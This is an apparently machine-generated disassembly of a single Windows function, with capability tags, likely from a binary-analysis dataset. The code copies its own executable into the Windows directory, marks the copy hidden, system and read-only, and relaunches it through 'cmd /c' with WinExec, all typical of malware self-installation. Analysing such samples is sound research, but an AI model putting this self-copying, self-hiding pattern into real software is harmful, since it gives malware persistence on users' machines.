Function at 0x14001000
Capabilities:
Copy file
Create process on windows
Get common file path
Set file attributes
Terminate process

Disassembly:
sub esp, 0x1cc
push ebx
push esi
push edi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x14008c48
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14008064
call fcn.14001290
mov edi, 0x14008064
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x14008064
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.14001250
add esp, 8
lea esi, [esp + 0xc]
mov eax, 0x14008c48
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x140010bc
test cl, cl
je 0x140010b8
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x140010bc
add eax, 2
add esi, 2
test cl, cl
jne 0x14001094
xor eax, eax
jmp 0x140010c1
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x140010d9
lea eax, [esp + 0xc]
push eax
call fcn.14001360
add esp, 4
push 0
call fcn.14003161
push 0x14008044
call fcn.14001290
add esp, 4
mov esi, 0x14008044
mov eax, 0x14008c48
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x14001118
test cl, cl
je 0x14001114
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x14001118
add eax, 2
add esi, 2
test cl, cl
jne 0x140010f0
xor eax, eax
jmp 0x1400111d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x14001155
push 0x2ee0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0xc]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.140015e0
push 0x14008044
call fcn.14001250
add esp, 4
push 0
call fcn.14003161
push 0x14008054
call fcn.14001290
add esp, 4
mov esi, 0x14008054
mov eax, 0x14008c48
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x14001194
test cl, cl
je 0x14001190
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x14001194
add eax, 2
add esi, 2
test cl, cl
jne 0x1400116c
xor eax, eax
jmp 0x14001199
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x140011b8
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2ee0
call esi
call fcn.140015e0
push 0x3e8
call esi
jmp 0x140011c5
push 0x14008c48
call fcn.140012d0
add esp, 4
push 0x14008054
call fcn.14001250
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 4
lea eax, [esp + 0xc]
push 0x80
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, 0xa
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x14008c48
call edi
dec esi
jne 0x140011ef
lea edx, [esp + 0xc]
push 7
push edx
call ebx
lea eax, [esp + 0xc]
lea ecx, [esp + 0x110]
push eax
push str.cmd__c__s
push ecx
call fcn.140030e2
add esp, 0xc
lea edx, [esp + 0x110]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x14008044
call fcn.14001250
add esp, 4
push 0
call fcn.14003161
nop
nop
nop
nop
nop
nop
nop
nop
nop